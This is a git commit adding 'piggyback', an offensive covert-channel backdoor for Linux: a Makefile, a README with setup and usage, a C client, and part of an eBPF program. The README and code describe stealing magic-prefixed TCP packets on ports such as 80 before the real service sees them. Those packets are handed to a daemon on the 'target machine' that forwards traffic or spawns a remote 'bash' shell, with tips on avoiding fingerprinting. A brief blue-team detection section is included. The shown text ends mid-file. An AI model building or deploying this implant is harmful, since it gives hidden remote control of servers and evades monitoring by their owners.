initial commit
This commit is contained in:
commit
abd95bf366
43
Makefile
Normal file
43
Makefile
Normal file
@ -0,0 +1,43 @@
|
|||||||
|
CC = clang
|
||||||
|
CFLAGS = -O2 -Wall -Wextra
|
||||||
|
|
||||||
|
BPF_SRC = piggyback.bpf.c
|
||||||
|
BPF_OBJ = piggyback.bpf.o
|
||||||
|
SRV_SRC = piggyback.c
|
||||||
|
SRV_BIN = piggyback
|
||||||
|
CLI_SRC = pb-client.c
|
||||||
|
CLI_BIN = pb-client
|
||||||
|
|
||||||
|
# BPF include paths — adjust if headers are elsewhere
|
||||||
|
BPF_INCLUDES = -I/usr/include/bpf -I/usr/include -I/usr/include/x86_64-linux-gnu
|
||||||
|
|
||||||
|
.PHONY: all clean keygen
|
||||||
|
|
||||||
|
all: $(BPF_OBJ) $(SRV_BIN) $(CLI_BIN)
|
||||||
|
|
||||||
|
# eBPF kernel program — compiled to BPF bytecode
|
||||||
|
$(BPF_OBJ): $(BPF_SRC)
|
||||||
|
$(CC) -O2 -target bpf $(BPF_INCLUDES) -c $< -o $@
|
||||||
|
|
||||||
|
# Server daemon — requires libbpf + libsodium
|
||||||
|
$(SRV_BIN): $(SRV_SRC)
|
||||||
|
$(CC) $(CFLAGS) $< -o $@ -lbpf -lsodium -lpthread
|
||||||
|
|
||||||
|
# Client — requires libssl (OpenSSL) for Mode 2 TLS
|
||||||
|
$(CLI_BIN): $(CLI_SRC)
|
||||||
|
$(CC) $(CFLAGS) $< -o $@ -lssl -lcrypto -lpthread
|
||||||
|
|
||||||
|
# Generate Ed25519 keypair for use with -k flag
|
||||||
|
# Private key: engagement.key (keep offline, never on target)
|
||||||
|
# Public key: engagement.pub.hex (pass to daemon via -k)
|
||||||
|
keygen:
|
||||||
|
@openssl genpkey -algorithm ed25519 -out engagement.key
|
||||||
|
@openssl pkey -in engagement.key -pubout -out engagement.pub
|
||||||
|
@echo ""
|
||||||
|
@echo "Public key hex (pass to daemon with -k):"
|
||||||
|
@openssl pkey -in engagement.key -pubout -outform DER | tail -c 32 | xxd -p | tr -d '\n' | tr 'a-f' 'A-F'
|
||||||
|
@echo ""
|
||||||
|
@echo "Private key: engagement.key — keep offline, never copy to target"
|
||||||
|
|
||||||
|
clean:
|
||||||
|
rm -f $(BPF_OBJ) $(SRV_BIN) $(CLI_BIN) engagement.key engagement.pub
|
||||||
165
README.md
Normal file
165
README.md
Normal file
@ -0,0 +1,165 @@
|
|||||||
|
# piggyback
|
||||||
|
|
||||||
|
Covert channel using Linux TC eBPF. Intercepts TCP packets on a port already in use,
|
||||||
|
steals matching ones before the application sees them, and forwards or executes them.
|
||||||
|
Normal traffic is unaffected. Zero changes to existing services.
|
||||||
|
|
||||||
|
```
|
||||||
|
Mode 1 — Plain TCP
|
||||||
|
Client Server (:80)
|
||||||
|
│── TCP packet ────────────→ TC eBPF ingress
|
||||||
|
│ [MAGIC][header][payload] magic match?
|
||||||
|
│ YES → TC_ACT_STOLEN → daemon
|
||||||
|
│ NO → TC_ACT_OK → app (nginx etc.)
|
||||||
|
|
||||||
|
Mode 2 — Client wraps in legitimate TLS (middleware terminates SSL)
|
||||||
|
Client Middleware (:443) Server (:80)
|
||||||
|
│── valid TLS ──→ │ │
|
||||||
|
│ [MAGIC] │── [MAGIC][...] ────────→ TC eBPF ingress
|
||||||
|
│ inside │ (inner bytes fwd) magic match? → same as Mode 1
|
||||||
|
```
|
||||||
|
|
||||||
|
Mode 2 is identical server-side. Client establishes real TLS with a configurable
|
||||||
|
SNI so middleware routing works. Server never handles TLS — simpler, smaller surface.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Requirements
|
||||||
|
|
||||||
|
- Linux 5.8+ (ring buffer + sk_lookup)
|
||||||
|
- Root / `CAP_NET_ADMIN` + `CAP_BPF`
|
||||||
|
- `libbpf`, `clang`, `llvm`, `bpftool`, `libsodium`, `libssl`
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Fedora
|
||||||
|
sudo dnf install libbpf-devel clang llvm kernel-headers bpftool libsodium-devel openssl-devel
|
||||||
|
# Debian/Ubuntu
|
||||||
|
sudo apt install libbpf-dev clang llvm linux-headers-$(uname -r) bpftool libsodium-dev libssl-dev
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Configuration
|
||||||
|
|
||||||
|
All config is compile-time. Edit the constants at the top of each file, then `make`.
|
||||||
|
|
||||||
|
### `piggyback.bpf.c` — eBPF kernel program
|
||||||
|
```c
|
||||||
|
#define PORTS { 80, 8080 } // TCP ports to watch (must match daemon LISTEN_PORT)
|
||||||
|
#define PORTS_N 2
|
||||||
|
#define MAGIC "\xDE\xAD\xC0\xDE\xCA\xFE" // magic byte sequence (keep in sync)
|
||||||
|
```
|
||||||
|
|
||||||
|
### `piggyback.c` — server daemon
|
||||||
|
```c
|
||||||
|
#define IFACE "" // "" = auto-detect default-route interface
|
||||||
|
#define LISTEN_PORT 80 // must match eBPF PORTS array
|
||||||
|
#define FWD_HOST "127.0.0.1" // default forward target (no-auth mode)
|
||||||
|
#define FWD_PORT 22 // default forward target port
|
||||||
|
#define SERVER_IP "1.2.3.4" // own public IPv4 (used in sig replay check)
|
||||||
|
#define VERBOSE 0
|
||||||
|
|
||||||
|
#define AUTH_ENABLED 0 // 1 = require Ed25519 signature on every connection
|
||||||
|
#define TRUSTED_PUBKEY { 0xAB, 0xCD, ... } // 32-byte pubkey from `make keygen`
|
||||||
|
```
|
||||||
|
|
||||||
|
### `pb-client.c` — client
|
||||||
|
```c
|
||||||
|
#define SERVER_IP "1.2.3.4"
|
||||||
|
#define SERVER_PORT 80
|
||||||
|
#define LOCAL_PORT 2222 // ssh -p 2222 localhost
|
||||||
|
|
||||||
|
#define CLIENT_MODE MODE_TCP // MODE_TCP or MODE_TLS
|
||||||
|
#define SNI "" // required for MODE_TLS — change per engagement
|
||||||
|
|
||||||
|
#define KEY_PATH "" // Ed25519 private key PEM, or "" to disable auth
|
||||||
|
#define CLIENT_ACTION ACTION_FORWARD // ACTION_FORWARD or ACTION_SHELL
|
||||||
|
#define TARGET_IP "127.0.0.1" // forward target (ACTION_FORWARD)
|
||||||
|
#define TARGET_PORT 22
|
||||||
|
#define SHELL_CMD "bash" // (ACTION_SHELL)
|
||||||
|
```
|
||||||
|
|
||||||
|
> **SNI note**: using the same SNI across deployments is a fingerprint. Change per engagement.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Build
|
||||||
|
|
||||||
|
```bash
|
||||||
|
make
|
||||||
|
```
|
||||||
|
|
||||||
|
### Generate Ed25519 keypair (for auth)
|
||||||
|
```bash
|
||||||
|
make keygen
|
||||||
|
# Prints public key hex → paste into TRUSTED_PUBKEY in piggyback.c
|
||||||
|
# Saves engagement.key → set as KEY_PATH in pb-client.c (never copy to target)
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Usage
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Server (target machine)
|
||||||
|
sudo ./piggyback
|
||||||
|
|
||||||
|
# Client (operator machine)
|
||||||
|
./pb-client
|
||||||
|
|
||||||
|
# Then connect locally
|
||||||
|
ssh -p 2222 user@localhost
|
||||||
|
```
|
||||||
|
|
||||||
|
No CLI flags — all config is baked into the binary at compile time.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Auth flow (AUTH_ENABLED=1)
|
||||||
|
|
||||||
|
1. `make keygen` — generate Ed25519 keypair
|
||||||
|
2. Set `TRUSTED_PUBKEY` in `piggyback.c`, `AUTH_ENABLED=1`, recompile daemon
|
||||||
|
3. Set `KEY_PATH` in `pb-client.c`, recompile client
|
||||||
|
4. Client sends: `MAGIC` (6 bytes) + signed 80-byte header + optional shell cmd
|
||||||
|
5. Daemon verifies Ed25519 sig, checks timestamp (±60s window), checks replay ring
|
||||||
|
6. On pass: dispatches action from header (`ACTION_FORWARD` or `ACTION_SHELL`)
|
||||||
|
7. On fail: connection dropped silently
|
||||||
|
|
||||||
|
Signed header format (80 bytes):
|
||||||
|
```
|
||||||
|
[0..7] unix timestamp, big-endian uint64
|
||||||
|
[8] action (0x01 = forward, 0x02 = shell)
|
||||||
|
[9..12] target IPv4 (forward) or zeros
|
||||||
|
[13..14] target port big-endian or zeros
|
||||||
|
[15] reserved
|
||||||
|
[16..79] Ed25519 sig over bytes [0..15] + SERVER_IP (4 bytes)
|
||||||
|
```
|
||||||
|
|
||||||
|
Signature covers `SERVER_IP` — a captured packet cannot be replayed to a different host.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Detection (Blue Team)
|
||||||
|
|
||||||
|
```bash
|
||||||
|
tc filter show dev eth0 ingress # TC eBPF filters on interface
|
||||||
|
bpftool prog list # all loaded eBPF programs
|
||||||
|
bpftool map list # eBPF maps (look for conn_state, pending, daemon_sock)
|
||||||
|
```
|
||||||
|
|
||||||
|
Baseline `bpftool prog list` on clean systems. Alert on new TC ingress programs
|
||||||
|
on internet-facing interfaces.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Known Limitations
|
||||||
|
|
||||||
|
- **ACTION_FORWARD target is IPv4 only** — the signed header has 4 bytes for target IP;
|
||||||
|
IPv6 forward targets require header format extension
|
||||||
|
- **Replay ring is size-bounded** — 256 entries evicted by overwrite, not by time expiry;
|
||||||
|
with REPLAY_WINDOW_SEC=30 this is sufficient for normal use
|
||||||
|
- **sk_lookup may fail on some kernels** — daemon logs a warning and falls back to
|
||||||
|
connect-back mode (works except behind strict NAT)
|
||||||
|
- **Magic must fit in first ~6 TCP payload bytes** — split across segments handled
|
||||||
|
by per-connection eBPF state machine, but only within a 6-byte sliding window
|
||||||
|
per packet; edge cases with very small MSS possible
|
||||||
339
pb-client.c
Normal file
339
pb-client.c
Normal file
@ -0,0 +1,339 @@
|
|||||||
|
// pb-client.c — piggyback client
|
||||||
|
//
|
||||||
|
// All configuration is via compile-time constants below.
|
||||||
|
// Build: make Run: ./pb-client
|
||||||
|
//
|
||||||
|
// Mode 1 (CLIENT_MODE = MODE_TCP):
|
||||||
|
// Plain TCP to server, sends MAGIC prefix, splices traffic.
|
||||||
|
//
|
||||||
|
// Mode 2 (CLIENT_MODE = MODE_TLS):
|
||||||
|
// Genuine TLS connection to middleware (SNI required).
|
||||||
|
// Middleware decrypts and forwards inner bytes to plain TCP backend.
|
||||||
|
// Server-side eBPF sees raw MAGIC as in Mode 1.
|
||||||
|
//
|
||||||
|
// Auth (KEY_PATH != ""):
|
||||||
|
// Sends Ed25519-signed 80-byte header after MAGIC.
|
||||||
|
// Required when daemon has AUTH_ENABLED=1.
|
||||||
|
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <errno.h>
|
||||||
|
#include <signal.h>
|
||||||
|
#include <fcntl.h>
|
||||||
|
#include <time.h>
|
||||||
|
#include <arpa/inet.h>
|
||||||
|
#include <netdb.h>
|
||||||
|
#include <sys/socket.h>
|
||||||
|
#include <sys/epoll.h>
|
||||||
|
#include <pthread.h>
|
||||||
|
|
||||||
|
#include <openssl/ssl.h>
|
||||||
|
#include <openssl/err.h>
|
||||||
|
#include <openssl/evp.h>
|
||||||
|
#include <openssl/pem.h>
|
||||||
|
|
||||||
|
// ── Engagement Configuration ──────────────────────────────────────────────────
|
||||||
|
// Edit these before compiling.
|
||||||
|
|
||||||
|
#define SERVER_IP "1.2.3.4" // target server IP or hostname
|
||||||
|
#define SERVER_PORT 80 // target port
|
||||||
|
#define LOCAL_PORT 2222 // local listener port (ssh -p LOCAL_PORT localhost)
|
||||||
|
|
||||||
|
// Connection mode
|
||||||
|
#define CLIENT_MODE MODE_TCP // MODE_TCP or MODE_TLS
|
||||||
|
#define SNI "" // SNI hostname — required for MODE_TLS
|
||||||
|
|
||||||
|
// Auth — leave KEY_PATH "" to disable (no signed header sent)
|
||||||
|
// Run `make keygen` to generate keypair. Set AUTH_ENABLED=1 in daemon.
|
||||||
|
#define KEY_PATH "" // e.g. "engagement.key" (PEM, Ed25519 private key)
|
||||||
|
#define CLIENT_ACTION ACTION_FORWARD // ACTION_FORWARD or ACTION_SHELL
|
||||||
|
#define TARGET_IP "127.0.0.1" // forward target IPv4 (ACTION_FORWARD)
|
||||||
|
#define TARGET_PORT 22 // forward target port (ACTION_FORWARD)
|
||||||
|
#define SHELL_CMD "bash" // shell command (ACTION_SHELL)
|
||||||
|
|
||||||
|
#define VERBOSE 0 // 1 = debug logging
|
||||||
|
|
||||||
|
// ── Shared constants (must match piggyback.bpf.c / piggyback.c) ──────────────
|
||||||
|
|
||||||
|
#define MAGIC "\xDE\xAD\xC0\xDE\xCA\xFE"
|
||||||
|
#define MAGIC_LEN 6
|
||||||
|
#define HEADER_LEN 80 // 16 bytes fields + 64 bytes Ed25519 signature
|
||||||
|
|
||||||
|
#define ACTION_FORWARD 0x01
|
||||||
|
#define ACTION_SHELL 0x02
|
||||||
|
|
||||||
|
// ── Mode enum ─────────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
typedef enum { MODE_TCP, MODE_TLS } client_mode_t;
|
||||||
|
|
||||||
|
// ── Globals ───────────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
static volatile int running = 1;
|
||||||
|
static SSL_CTX *ssl_ctx = NULL;
|
||||||
|
|
||||||
|
// ── Logging ───────────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
#define log_info(fmt, ...) fprintf(stdout, "[+] " fmt "\n", ##__VA_ARGS__)
|
||||||
|
#define log_err(fmt, ...) fprintf(stderr, "[-] " fmt "\n", ##__VA_ARGS__)
|
||||||
|
#define log_dbg(fmt, ...) do { if (VERBOSE) fprintf(stdout, "[.] " fmt "\n", ##__VA_ARGS__); } while(0)
|
||||||
|
|
||||||
|
// ── Abstract I/O over plain TCP or TLS ───────────────────────────────────────
|
||||||
|
|
||||||
|
struct conn { int fd; SSL *ssl; };
|
||||||
|
|
||||||
|
static ssize_t conn_read(struct conn *c, void *buf, size_t len) {
|
||||||
|
return c->ssl ? SSL_read(c->ssl, buf, (int)len) : read(c->fd, buf, len);
|
||||||
|
}
|
||||||
|
static ssize_t conn_write(struct conn *c, const void *buf, size_t len) {
|
||||||
|
return c->ssl ? SSL_write(c->ssl, buf, (int)len) : write(c->fd, buf, len);
|
||||||
|
}
|
||||||
|
static void conn_close(struct conn *c) {
|
||||||
|
if (c->ssl) { SSL_shutdown(c->ssl); SSL_free(c->ssl); c->ssl = NULL; }
|
||||||
|
if (c->fd >= 0) { close(c->fd); c->fd = -1; }
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Bidirectional splice ──────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
static void splice_loop(int local_fd, struct conn *remote) {
|
||||||
|
int epfd = epoll_create1(0);
|
||||||
|
struct epoll_event ev, evs[2];
|
||||||
|
char buf[65536];
|
||||||
|
|
||||||
|
ev.events = EPOLLIN | EPOLLERR | EPOLLHUP;
|
||||||
|
ev.data.fd = local_fd; epoll_ctl(epfd, EPOLL_CTL_ADD, local_fd, &ev);
|
||||||
|
ev.data.fd = remote->fd; epoll_ctl(epfd, EPOLL_CTL_ADD, remote->fd, &ev);
|
||||||
|
|
||||||
|
while (running) {
|
||||||
|
int n = epoll_wait(epfd, evs, 2, 1000);
|
||||||
|
for (int i = 0; i < n; i++) {
|
||||||
|
if (evs[i].events & (EPOLLERR | EPOLLHUP)) goto done;
|
||||||
|
if (evs[i].data.fd == local_fd) {
|
||||||
|
ssize_t r = read(local_fd, buf, sizeof(buf));
|
||||||
|
if (r <= 0) goto done;
|
||||||
|
ssize_t w = 0;
|
||||||
|
while (w < r) { ssize_t s = conn_write(remote, buf+w, r-w); if (s<=0) goto done; w+=s; }
|
||||||
|
} else {
|
||||||
|
ssize_t r = conn_read(remote, buf, sizeof(buf));
|
||||||
|
if (r <= 0) goto done;
|
||||||
|
ssize_t w = 0;
|
||||||
|
while (w < r) { ssize_t s = write(local_fd, buf+w, r-w); if (s<=0) goto done; w+=s; }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
done:
|
||||||
|
close(epfd);
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Ed25519 signed header ─────────────────────────────────────────────────────
|
||||||
|
//
|
||||||
|
// Sends 80 bytes after MAGIC:
|
||||||
|
// [0..7] timestamp big-endian uint64
|
||||||
|
// [8] action
|
||||||
|
// [9..12] target IPv4 (ACTION_FORWARD) or zeros
|
||||||
|
// [13..14] target port big-endian or zeros
|
||||||
|
// [15] reserved
|
||||||
|
// [16..79] Ed25519 sig over bytes [0..15] + server_ip[4]
|
||||||
|
|
||||||
|
static int send_auth_header(struct conn *remote, uint32_t server_ip_be) {
|
||||||
|
uint8_t fields[16] = {0};
|
||||||
|
|
||||||
|
uint64_t ts = (uint64_t)time(NULL);
|
||||||
|
for (int i = 7; i >= 0; i--) { fields[i] = ts & 0xff; ts >>= 8; }
|
||||||
|
|
||||||
|
fields[8] = CLIENT_ACTION;
|
||||||
|
|
||||||
|
if (CLIENT_ACTION == ACTION_FORWARD) {
|
||||||
|
uint32_t tip = 0;
|
||||||
|
inet_pton(AF_INET, TARGET_IP, &tip);
|
||||||
|
memcpy(fields + 9, &tip, 4);
|
||||||
|
uint16_t tport = htons(TARGET_PORT);
|
||||||
|
memcpy(fields + 13, &tport, 2);
|
||||||
|
}
|
||||||
|
|
||||||
|
uint8_t msg[20];
|
||||||
|
memcpy(msg, fields, 16);
|
||||||
|
memcpy(msg + 16, &server_ip_be, 4);
|
||||||
|
|
||||||
|
FILE *f = fopen(KEY_PATH, "r");
|
||||||
|
if (!f) { perror("fopen privkey"); return -1; }
|
||||||
|
EVP_PKEY *pkey = PEM_read_PrivateKey(f, NULL, NULL, NULL);
|
||||||
|
fclose(f);
|
||||||
|
if (!pkey) { ERR_print_errors_fp(stderr); return -1; }
|
||||||
|
|
||||||
|
EVP_MD_CTX *ctx = EVP_MD_CTX_new();
|
||||||
|
size_t siglen = 64;
|
||||||
|
uint8_t sig[64];
|
||||||
|
int ok = ctx &&
|
||||||
|
EVP_DigestSignInit(ctx, NULL, NULL, NULL, pkey) == 1 &&
|
||||||
|
EVP_DigestSign(ctx, sig, &siglen, msg, sizeof(msg)) == 1;
|
||||||
|
if (ctx) EVP_MD_CTX_free(ctx);
|
||||||
|
EVP_PKEY_free(pkey);
|
||||||
|
|
||||||
|
if (!ok || siglen != 64) { ERR_print_errors_fp(stderr); return -1; }
|
||||||
|
|
||||||
|
uint8_t header[HEADER_LEN];
|
||||||
|
memcpy(header, fields, 16);
|
||||||
|
memcpy(header + 16, sig, 64);
|
||||||
|
|
||||||
|
if (conn_write(remote, header, HEADER_LEN) != HEADER_LEN) {
|
||||||
|
log_err("write auth header failed"); return -1;
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Connect to server ─────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
static int tcp_connect(const char *host, int port) {
|
||||||
|
struct addrinfo hints = { .ai_family = AF_UNSPEC, .ai_socktype = SOCK_STREAM };
|
||||||
|
struct addrinfo *res;
|
||||||
|
char port_str[8];
|
||||||
|
snprintf(port_str, sizeof(port_str), "%d", port);
|
||||||
|
|
||||||
|
if (getaddrinfo(host, port_str, &hints, &res) != 0) {
|
||||||
|
log_err("getaddrinfo(%s:%d) failed", host, port); return -1;
|
||||||
|
}
|
||||||
|
int fd = -1;
|
||||||
|
for (struct addrinfo *r = res; r; r = r->ai_next) {
|
||||||
|
fd = socket(r->ai_family, r->ai_socktype, 0);
|
||||||
|
if (fd < 0) continue;
|
||||||
|
if (connect(fd, r->ai_addr, r->ai_addrlen) == 0) break;
|
||||||
|
close(fd); fd = -1;
|
||||||
|
}
|
||||||
|
freeaddrinfo(res);
|
||||||
|
if (fd < 0) log_err("connect to %s:%d failed", host, port);
|
||||||
|
return fd;
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Per-connection thread ─────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
struct conn_args { int local_fd; };
|
||||||
|
|
||||||
|
static void *conn_thread(void *arg) {
|
||||||
|
struct conn_args *a = arg;
|
||||||
|
int local_fd = a->local_fd;
|
||||||
|
free(a);
|
||||||
|
|
||||||
|
struct conn remote = { .fd = -1, .ssl = NULL };
|
||||||
|
|
||||||
|
remote.fd = tcp_connect(SERVER_IP, SERVER_PORT);
|
||||||
|
if (remote.fd < 0) goto done;
|
||||||
|
|
||||||
|
if (CLIENT_MODE == MODE_TLS) {
|
||||||
|
if (!ssl_ctx) { log_err("SSL context not initialized"); goto done; }
|
||||||
|
remote.ssl = SSL_new(ssl_ctx);
|
||||||
|
if (!remote.ssl) goto done;
|
||||||
|
SSL_set_fd(remote.ssl, remote.fd);
|
||||||
|
if (strlen(SNI) > 0)
|
||||||
|
SSL_set_tlsext_host_name(remote.ssl, SNI);
|
||||||
|
if (SSL_connect(remote.ssl) != 1) {
|
||||||
|
ERR_print_errors_fp(stderr); log_err("TLS handshake failed"); goto done;
|
||||||
|
}
|
||||||
|
log_dbg("TLS connected (%s)", SSL_get_cipher(remote.ssl));
|
||||||
|
}
|
||||||
|
|
||||||
|
// Send MAGIC
|
||||||
|
if (conn_write(&remote, MAGIC, MAGIC_LEN) != MAGIC_LEN) {
|
||||||
|
log_err("write magic failed"); goto done;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Send signed header if auth enabled
|
||||||
|
if (strlen(KEY_PATH) > 0) {
|
||||||
|
uint32_t server_ip_be = 0;
|
||||||
|
struct addrinfo hints = { .ai_family = AF_INET };
|
||||||
|
struct addrinfo *res;
|
||||||
|
if (getaddrinfo(SERVER_IP, NULL, &hints, &res) == 0) {
|
||||||
|
server_ip_be = ((struct sockaddr_in *)res->ai_addr)->sin_addr.s_addr;
|
||||||
|
freeaddrinfo(res);
|
||||||
|
}
|
||||||
|
if (send_auth_header(&remote, server_ip_be) != 0) goto done;
|
||||||
|
log_dbg("auth header sent (action=0x%02x)", CLIENT_ACTION);
|
||||||
|
|
||||||
|
if (CLIENT_ACTION == ACTION_SHELL) {
|
||||||
|
size_t cmdlen = strlen(SHELL_CMD);
|
||||||
|
if (conn_write(&remote, SHELL_CMD, cmdlen) != (ssize_t)cmdlen) {
|
||||||
|
log_err("write shell cmd failed"); goto done;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
log_info("connected [%s%s]",
|
||||||
|
CLIENT_MODE == MODE_TLS ? "TLS" : "TCP",
|
||||||
|
strlen(KEY_PATH) > 0 ? " auth=ed25519" : "");
|
||||||
|
|
||||||
|
splice_loop(local_fd, &remote);
|
||||||
|
|
||||||
|
done:
|
||||||
|
conn_close(&remote);
|
||||||
|
close(local_fd);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Signal ────────────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
static void on_signal(int sig __attribute__((unused))) { running = 0; }
|
||||||
|
|
||||||
|
// ── Main ──────────────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
int main(void) {
|
||||||
|
if (CLIENT_MODE == MODE_TLS && strlen(SNI) == 0) {
|
||||||
|
fprintf(stderr, "[-] SNI must be set for MODE_TLS\n"); return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
signal(SIGINT, on_signal);
|
||||||
|
signal(SIGTERM, on_signal);
|
||||||
|
signal(SIGPIPE, SIG_IGN);
|
||||||
|
|
||||||
|
// OpenSSL init (needed for key loading even in TCP mode)
|
||||||
|
SSL_library_init();
|
||||||
|
SSL_load_error_strings();
|
||||||
|
OpenSSL_add_all_algorithms();
|
||||||
|
|
||||||
|
if (CLIENT_MODE == MODE_TLS) {
|
||||||
|
ssl_ctx = SSL_CTX_new(TLS_client_method());
|
||||||
|
if (!ssl_ctx) { ERR_print_errors_fp(stderr); return 1; }
|
||||||
|
SSL_CTX_set_verify(ssl_ctx, SSL_VERIFY_PEER, NULL);
|
||||||
|
SSL_CTX_set_default_verify_paths(ssl_ctx);
|
||||||
|
SSL_CTX_set_min_proto_version(ssl_ctx, TLS1_2_VERSION);
|
||||||
|
}
|
||||||
|
|
||||||
|
int listen_fd = socket(AF_INET, SOCK_STREAM, 0);
|
||||||
|
int yes = 1;
|
||||||
|
setsockopt(listen_fd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(yes));
|
||||||
|
struct sockaddr_in laddr = {
|
||||||
|
.sin_family = AF_INET,
|
||||||
|
.sin_port = htons(LOCAL_PORT),
|
||||||
|
.sin_addr.s_addr = htonl(INADDR_LOOPBACK),
|
||||||
|
};
|
||||||
|
if (bind(listen_fd, (struct sockaddr *)&laddr, sizeof(laddr)) < 0) {
|
||||||
|
log_err("bind port %d: %s", LOCAL_PORT, strerror(errno)); return 1;
|
||||||
|
}
|
||||||
|
listen(listen_fd, 16);
|
||||||
|
|
||||||
|
log_info("pb-client on 127.0.0.1:%d → %s:%d [%s%s%s%s]",
|
||||||
|
LOCAL_PORT, SERVER_IP, SERVER_PORT,
|
||||||
|
CLIENT_MODE == MODE_TLS ? "TLS sni=" : "TCP",
|
||||||
|
CLIENT_MODE == MODE_TLS ? SNI : "",
|
||||||
|
strlen(KEY_PATH) > 0 ? " auth=ed25519" : "",
|
||||||
|
strlen(KEY_PATH) > 0 && CLIENT_ACTION == ACTION_SHELL ? " shell" : "");
|
||||||
|
|
||||||
|
while (running) {
|
||||||
|
struct sockaddr_in caddr;
|
||||||
|
socklen_t clen = sizeof(caddr);
|
||||||
|
int cfd = accept(listen_fd, (struct sockaddr *)&caddr, &clen);
|
||||||
|
if (cfd < 0) { if (running) perror("accept"); continue; }
|
||||||
|
|
||||||
|
struct conn_args *a = malloc(sizeof(*a));
|
||||||
|
if (!a) { close(cfd); continue; }
|
||||||
|
a->local_fd = cfd;
|
||||||
|
|
||||||
|
pthread_t tid;
|
||||||
|
pthread_create(&tid, NULL, conn_thread, a);
|
||||||
|
pthread_detach(tid);
|
||||||
|
}
|
||||||
|
|
||||||
|
close(listen_fd);
|
||||||
|
if (ssl_ctx) SSL_CTX_free(ssl_ctx);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
285
piggyback.bpf.c
Normal file
285
piggyback.bpf.c
Normal file
@ -0,0 +1,285 @@
|
|||||||
|
// SPDX-License-Identifier: GPL-2.0
|
||||||
|
//
|
||||||
|
// piggyback.bpf.c — TC ingress + sk_lookup eBPF programs
|
||||||
|
//
|
||||||
|
// TC ingress: intercepts TCP packets on configured ports. If payload starts
|
||||||
|
// with MAGIC bytes (or partial match in progress), steals the packet
|
||||||
|
// (TC_ACT_STOLEN) and notifies userspace, or passes through (TC_ACT_OK).
|
||||||
|
//
|
||||||
|
// sk_lookup: steers new connections flagged by TC into the daemon's
|
||||||
|
// SO_REUSEPORT socket instead of the application socket.
|
||||||
|
//
|
||||||
|
// Supports IPv4 + IPv6. Handles magic split across TCP segments via
|
||||||
|
// per-connection LRU state map.
|
||||||
|
|
||||||
|
#include <linux/bpf.h>
|
||||||
|
#include <linux/pkt_cls.h>
|
||||||
|
#include <linux/if_ether.h>
|
||||||
|
#include <linux/ip.h>
|
||||||
|
#include <linux/ipv6.h>
|
||||||
|
#include <linux/tcp.h>
|
||||||
|
#include <linux/in.h>
|
||||||
|
#include <linux/in6.h>
|
||||||
|
#include <bpf/bpf_helpers.h>
|
||||||
|
#include <bpf/bpf_endian.h>
|
||||||
|
|
||||||
|
// AF_ constants — cannot include glibc headers in BPF programs
|
||||||
|
#define AF_INET 2
|
||||||
|
#define AF_INET6 10
|
||||||
|
|
||||||
|
// ── Configuration ─────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
#define PORTS { 80, 8080 }
|
||||||
|
#define PORTS_N 2
|
||||||
|
|
||||||
|
#define MAGIC "\xDE\xAD\xC0\xDE\xCA\xFE"
|
||||||
|
#define MAGIC_LEN 6
|
||||||
|
|
||||||
|
// Signed header: 16 bytes fields + 64 bytes Ed25519 sig = 80 total
|
||||||
|
// eBPF only checks structural validity; full Ed25519 verify is in userspace.
|
||||||
|
#define HEADER_LEN 80
|
||||||
|
|
||||||
|
// ── Shared types ──────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
struct conn_key {
|
||||||
|
__u8 src_ip[16]; // IPv4: first 4 bytes; IPv6: all 16
|
||||||
|
__u16 src_port;
|
||||||
|
__u8 is_ipv6;
|
||||||
|
__u8 pad;
|
||||||
|
};
|
||||||
|
|
||||||
|
struct event {
|
||||||
|
__u8 src_ip[16];
|
||||||
|
__u16 src_port;
|
||||||
|
__u8 is_ipv6;
|
||||||
|
__u8 flags;
|
||||||
|
__u32 seq;
|
||||||
|
__u32 ack_seq;
|
||||||
|
__u8 header[HEADER_LEN];
|
||||||
|
__u8 header_valid;
|
||||||
|
};
|
||||||
|
|
||||||
|
// ── Maps ──────────────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
struct {
|
||||||
|
__uint(type, BPF_MAP_TYPE_RINGBUF);
|
||||||
|
__uint(max_entries, 1 << 24);
|
||||||
|
} events SEC(".maps");
|
||||||
|
|
||||||
|
// Per-connection magic match state: bytes matched so far (0..MAGIC_LEN)
|
||||||
|
struct {
|
||||||
|
__uint(type, BPF_MAP_TYPE_LRU_HASH);
|
||||||
|
__uint(max_entries, 4096);
|
||||||
|
__type(key, struct conn_key);
|
||||||
|
__type(value, __u8);
|
||||||
|
} conn_state SEC(".maps");
|
||||||
|
|
||||||
|
// Connections awaiting sk_lookup steering: set by TC, cleared by sk_lookup
|
||||||
|
struct {
|
||||||
|
